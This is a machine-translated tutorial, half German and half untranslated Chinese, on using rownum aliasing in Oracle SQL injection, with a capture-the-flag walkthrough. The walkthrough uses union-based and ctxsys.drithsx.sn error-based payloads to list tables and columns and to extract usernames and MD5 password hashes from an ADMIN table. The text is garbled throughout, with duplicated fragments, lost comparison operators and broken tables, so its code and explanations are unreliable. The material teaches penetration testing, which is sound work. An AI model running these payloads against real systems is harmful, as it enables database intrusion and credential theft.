Dieser Artikel vermittelt Ihnen relevantes Wissen über Oracle, der hauptsächlich die detaillierte Erklärung der Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion einführt, einschließlich der grundlegenden Aussagen von Oracle-Abfrageinformationen, der Eigenschaften von Rownum usw., wie folgt Schauen Sie es sich gemeinsam an. Ich hoffe, es wird für alle hilfreich sein.
Empfohlenes Tutorial: „Oracle Video Tutorial“
Oracle Database, auch bekannt als Oracle RDBMS oder kurz Oracle. Diese Datenbank ist ein Produkt von Oracle. Die Nutzung ist kostenlos, der Dienst wird jedoch im Allgemeinen von großen Unternehmen in China, wie Banken, Finanzinstituten und Unternehmen, genutzt Big-Data-Industrie.
Zusammenfassung der Oracle-Funktionen:
1. Oracle muss beim Verwenden der Abfragesprache dem Tabellennamen folgen. Dies ähnelt Access. Wenn keine Tabelle vorhanden ist, können Sie die Dual-Tabelle von Oracle verwenden. Oracle garantiert, dass es immer nur einen Datensatz in Dual gibt, der zur Bildung der Syntax verwendet wird. Wenn Sie ihn direkt abfragen, wird nur ein Datentyp an der entsprechenden Position angezeigt Die Spalte in der Tabelle kann auch verwendet werden, um einige Datentyppositionen zu ersetzen, die nicht schnell erraten werden können. Dies ist ähnlich wie bei SQL Server. 3. Oracle unterscheidet sich von MySQL. Es gibt keine Beschränkung beim Paging, aber die Verschachtelung von Abfragen auf drei Ebenen erfolgt. 4. Die einzeiligen Kommentarsymbole von Oracle sind mehrzeilige Kommentarsymbole Tabellen. Diese Systemtabellen speichern die Tabellennamen und Spaltennamen der Systemdatenbank, z. B. user_tab_columns, all_tab_columns, all_tables, user_tables. Die Systemtabelle speichert alle Tabellen und Spaltennamen des Benutzers, wobei table_name den Tabellennamen im System darstellt ., Column_name ist der im System vorhandene Spaltenname geschwächt, Benutzer wurden gestärkt, und sie unterscheiden sich hauptsächlich durch Benutzer. Das einfache Verständnis besteht darin, dass der aktuelle Benutzername dem Bibliotheksnamen in anderen Datenbanken entspricht.
2. Einführung in Aliasing
select * from all_tables
Alle Tabellen abfragen select * from user_tables
Alle abfragen Tabellen des aktuellen Benutzersselect * from all_tab_columns
Abfrage aller Felderselect * from user_tab_columns
Abfrage der Felder des aktuellen Benutzersselect * from v$version Überprüfen Sie die aktuell verwendete Oracle-Version <code>select * from all_tables
查询所有的表select * from user_tables
查询当前用户的所有表select * from all_tab_columns
查询所有字段select * from user_tab_columns
查询当前用户的字段select * from v$version
查当前使用的Oracle版本
由于在Oracle中不存在limit,所以查询特定的数据需要用rownum来进行选择。比如先输入:select * from all_tables
看到页面输出了相当多的数据,但是大部分都不是我们需要的,那么假设我只想要前4条数据,那么修改语句如下:select * from all_tables where rownum<br> (2) Eigenschaften von Rownum <img src="https://img.php.cn/upload/article/000/000/067/a290750748b99d965d0baa9b5c7497da-1.png" alt="Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion"><br> Da es in Oracle keine Begrenzung gibt, müssen Sie Rownum zur Auswahl verwenden, wenn Sie bestimmte Daten abfragen. Geben Sie beispielsweise zuerst Folgendes ein: <br><code>select * from all_tables
select * from all_tables where rownum🎜🎜🎜 Wenn wir also nur das zweite Datenelement benötigen, können wir dort eingeben, wo rownum=2 ist? Kippen. Dies liegt daran, dass rownum nicht der Feldname einer Tabelle ist, sondern die Zeilennummer des Abfrageergebnisses. Jedes Mal, wenn die Abfrage ein Ergebnis enthält, werden die erste Zeile, die zweite Zeile, die dritte Zeile usw. standardmäßig verwendet. Diese Rownum ist die Zeilennummer, die nicht zu einem bestimmten Feld gehört, daher ist Rownum ein Pseudobeispiel, das immer mit 1 beginnt, Rownum>n. Wenn n>1 ist, kann die Bedingung nicht festgelegt werden. Für diese Situation können zwei Methoden verwendet werden, nämlich die Ungleichheitsmethode und die Alias-Methode. 🎜 Bei der Verwendung von Abfrageanweisungen bitten wir häufig darum, die ersten n Datensätze in der Tabelle oder die mittleren Datensätze zurückzugeben. Beispielsweise müssen wir in einer großen Tabelle (vorausgesetzt, es gibt 1 W Datenelemente) den 1000. bis 1005. Datensatz abfragen. Was sollen wir angesichts einer solchen Anfrage tun? Jede Datenbank hat ihre eigene Lösung. In MySQL wird beispielsweise der Befehl „limit“ zum Auslagern der Ergebnisse verwendet, in MSSQL wird TOP zum Auslagern der Ergebnisse verwendet, und Oracle verwendet hauptsächlich den Befehl „rownum“, um dieses Problem zu lösen. Schauen wir uns an, wie bestimmte Daten in Oracle ausgegeben werden. 🎜<h2>(3) Ungleichheitsmethode</h2>
<p>Geben Sie diesen Befehl in der Online-Oracle-Drill-Plattform ein (hier werden alle Felder des aktuellen Benutzers abgefragt): <br><code>select* from user_tab_columns
select* from user_tab_columns
select* from user_tab_columns where table_name='ADMIN'
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
来看一下这个语句:select column_name,rownum n from user_tab_columns
这句话执行查询列名以后,会把查询结果从上到下从1开始按顺序进行编号,但是由于rownum本身不是字段,所以这里起了个别名为n。这样这个查询语句的作用就是:查询列名及每个列名对应的行号,并将行号统一存储在n这个字段里面。
注意这个时候虽然我们新建了一个字段n用来存储行号,但是此时如果马上在后面加上一个条件,比如where n=7是不行的,因为这条语句需要执行完才有n这个字段,所以想要用n这个字段来查询信息的话,就需要把这个语句作为一个整体,放在其他语句的子查询里,这样句子执行完了,有n这个字段了,然后才能被其他句子使用。
现在我们先查询ADMIN表里面有几个字段,这么输入:select column_name,rownum n from user_tab_columns where table_name='ADMIN'
Die Ergebnisse zeigen alle aktuellen Tabellen und entsprechenden Feldnamen, wenn ich nur Wenn Sie den Inhalt der ADMIN-Tabelle anzeigen möchten, kann ich Folgendes eingeben: select* from user_tab_columns where table_name='ADMIN'
Wenn ich nur das zweite Datenelement anzeigen möchte, wie soll ich es eingeben? Es ist offensichtlich nicht möglich, die Bedingung rownum=2 direkt hinzuzufügen. Hier können Sie die Ungleichheitsmethode zur Abfrage verwenden:
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
(4) Alias-Methode | Sehen Sie sich diese Anweisung an: |
---|---|
select columns_name,rownum n from user_tab_columns where table_name='ADMIN' |
Die Abfrageergebnisse hier erhalten zwei Feldnamen . . Die Zeilennummer ist der Alias n, den wir verwendet haben. Das erste Feld ist also der tatsächliche Feldname und das zweite Feld ist der Alias n, den wir verwendet haben. |
Feldname | |
1 |
Dann geben Sie einfach Folgendes ein:
Wählen Sie * aus der Unterabfrage aus, wobei n=2 ist, und Sie können die Daten bb abrufen. Machen Sie für die gewünschten Daten einfach n gleich der entsprechenden Zahl.
Solange dieser Satz als Unterabfrage geschrieben ist und die externe Abfrageanweisung zum Abfragen der Ergebnisse dieser Unterabfrage verwendet wird, kann das zweite Feld mit der Einstellung n=2 abgerufen werden. Geben Sie daher Folgendes ein: select * from (select columns_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
成功查询到第二个字段。
注意:别名法给rownum取名为n时,标准的写法是用rownum as n ,简洁一点是直接rownum n,中间用空格隔开即可。
查询字段的时候可以用别名法,那么查询表名的时候可以用吗?答案是肯定的。
举例:select table_name,rownum n from user_tables
可见给表起别名和给字段起别名是一样的,用法实际上也差不多,这里不再赘述。
上面讲的只是理论基础,实际操作的时候就没那么容易了,我们找个靶场来实际操作一下看看。
以封神台为例,地址在http://o1.lab.aqlab.cn/?id=1
进入靶场,看到地址栏有GET传参,当然是先试一下是否存在SQL输入了:
在id=1后面输入:
and 1=1 ,页面回显正常
and 1=2 ,页面回显异常
把id=1改成id=2-1,页面回显正常。
说明必然存在SQL注入。
实战中,我们并不知道目标网站是什么数据库,所以何必管那么多,当成MYSQL来搞就好了,所以这里先查询字段数:
输入 order by 1
页面回显正常;
输入 order by 5
页面回显异常;
输入 order by 4
页面回显正常;
输入 order by 5
Das zweite Feld wurde erfolgreich abgefragt.
select table_name,rownum n from user_tables
Es ist ersichtlich, dass das Aliasing der Tabelle dasselbe ist wie das Aliasing des Feldes. Die Verwendung ist tatsächlich ähnlich, daher werde ich hier nicht auf Details eingehen.
Das Obige ist nur die theoretische Grundlage. Im tatsächlichen Betrieb ist es nicht so einfach, einen Schießstand zu finden. Am Beispiel von Fengshentai lautet die Adresse http://o1.lab.aqlab.cn/?id=1
Betreten Sie den Schießstand und prüfen Sie, ob ein GET-Parameter vorhanden ist in der Adressleiste. Versuchen Sie natürlich zunächst, ob eine SQL-Eingabe vorliegt:
und 1=1, das Seitenecho ist normal
und 1=2, das Seitenecho ist abnormal
Das bedeutet, dass es eine SQL-Injection geben muss.
Im tatsächlichen Kampf wissen wir nicht, um welche Datenbank es sich bei der Zielwebsite handelt. Warum sollten wir uns also die Mühe machen, sie einfach als MYSQL zu behandeln, also fragen wir hier zuerst die Anzahl der Felder ab:
Geben Sie order ein um 1
und die Seite wird normal angezeigt; normal zurückkehren; Geben Sie order by 5
ein und die Seite wird abnormal zurückkehren.
Zeigt an, dass die Anzahl der Felder auf der aktuellen Seite 4 beträgt.
Geben Sie nach der ID=1 ein:
union all select 1,2,3,4
Die Seite gibt ein ungewöhnliches Echo zurück. Es scheint, dass die Datenbank definitiv nicht MySQL ist, also versuchen Sie, die Zahl auf Null zu ändern:
union all select null,null,null,null from dualDie Seite wird normal wiedergegeben. Es scheint, dass die Zieldatenbank sehr strenge grammatikalische Anforderungen hat. Lassen Sie uns nun bestimmen, um welche Datentypen es sich bei den vier Feldern handelt. Geben Sie Folgendes ein:
union all select 111,null,null,null from dualDie Seite gibt „normal“ zurück, was darauf hinweist, dass das erste Feld vom numerischen Typ ist. Drücken Sie Strg+U, um den Quellcode der Webseite anzuzeigen, suchen Sie nach 111 und sehen Sie keine offensichtliche Fehlausrichtung.
Versuchen Sie, dass die aktuelle Seite einen Fehler meldet, um festzustellen, ob eine Fehlausrichtung der Anzeige vorliegt:
and 1=2 union all select 111,null,null,null from dualEs ist keine offensichtliche Fehlausrichtung der Anzeige zu erkennen.
Geben Sie weiter Folgendes ein: and 1=2 union all select 111,111,null,null from dual
Die Seite gibt eine Ausnahme zurück, die darauf hinweist, dass das zweite Feld keinen numerischen Typ hat.
Geben Sie weiter Folgendes ein:
and 1=2 union all select 111,'aa',null,null from dual
Die Seite gibt eine Ausnahme zurück, die darauf hinweist, dass das zweite Feld nicht vom Typ „String“ ist. Tatsächlich gibt es in der Oracle-Datenbank viele Datentypen, z. B. numerische Werte, Zeichenfolgen, Datumsangaben, Binärwerte und großen Text. Es ist ziemlich mühsam, sie einzeln auszuprobieren, daher werde ich sie hier überspringen. Dasselbe gilt für das dritte Feld. Es wurde festgestellt, dass es sich weder um eine Zahl noch um eine Zeichenfolge handelt und es keine offensichtliche Fehlausrichtung gibt.
Fragen Sie weiterhin das vierte Feld ab: 🎜and 1=2 union all select 111,null,null,111111 from dual🎜 und stellen Sie fest, dass auf der Seite eine neue Uhrzeit angezeigt wird. 🎜🎜🎜🎜 Wenn man eine Zeit wie diese sieht, muss man an einen Zeitstempel denken, denn Computer beginnen am 1. Januar 1970 ab 8 Uhr mit der Sekundenzählung. 🎜🎜 (4) Tabellennamen abfragen 🎜🎜 Verwenden Sie die Fehlerinjektionsfunktion, um Informationen abzufragen. Geben Sie Folgendes ein: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))🎜 Hinweis: Die Fehlerinjektion kann nur eine Zeichenfolge anstelle einer Tabelle zurückgeben, daher muss es später ein Limit geben, nämlich rownum =1, nur Nehmen Sie eine Datenzeile und die 1 in den Klammern der Funktion kann durch etwas anderes ersetzt werden, entweder einen numerischen Wert oder eine Zeichenfolge. 🎜🎜🎜 Holen Sie sich den Tabellennamen 🎜ADMIN🎜🎜 Geben Sie weiter ein: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))🎜🎜🎜🎜 und erhalten Sie die zweite Tabelle 🎜NEWS🎜. 🎜 Als nächstes können Sie beim Abfragen anderer Tabellen nicht mehr die Ungleichheitsmethode verwenden. Verwenden Sie stattdessen die oben erwähnte Alias-Methode, um eine Basisanweisung zu erstellen, und ändern Sie dann den Wert von n, um den Namen der Tabelle zu ermitteln, die noch nicht vorhanden ist abgefragt: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))🎜Bestimmen Sie endlich den aktuellen. Die Benutzertabellen sind: 🎜ADMIN, NEWS, MD5🎜🎜
接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))
得到第一个字段名为:UNAME
把n改为2继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))
得到第二个字段为UPASS
把n改为3,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))
得到第三个字段为MD5
把n改为4,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))
没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5
字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:
and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))
注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))
改变n的值可以得到UPASS字段的三条记录分别为:e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321
把每个md5值都提交到靶场,最终确定flag为:2a61f8bcfe7535eadcfa69eb4406ceb9
渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。
本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。
推荐教程:《Oracle视频教程》
Das obige ist der detaillierte Inhalt vonDetailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!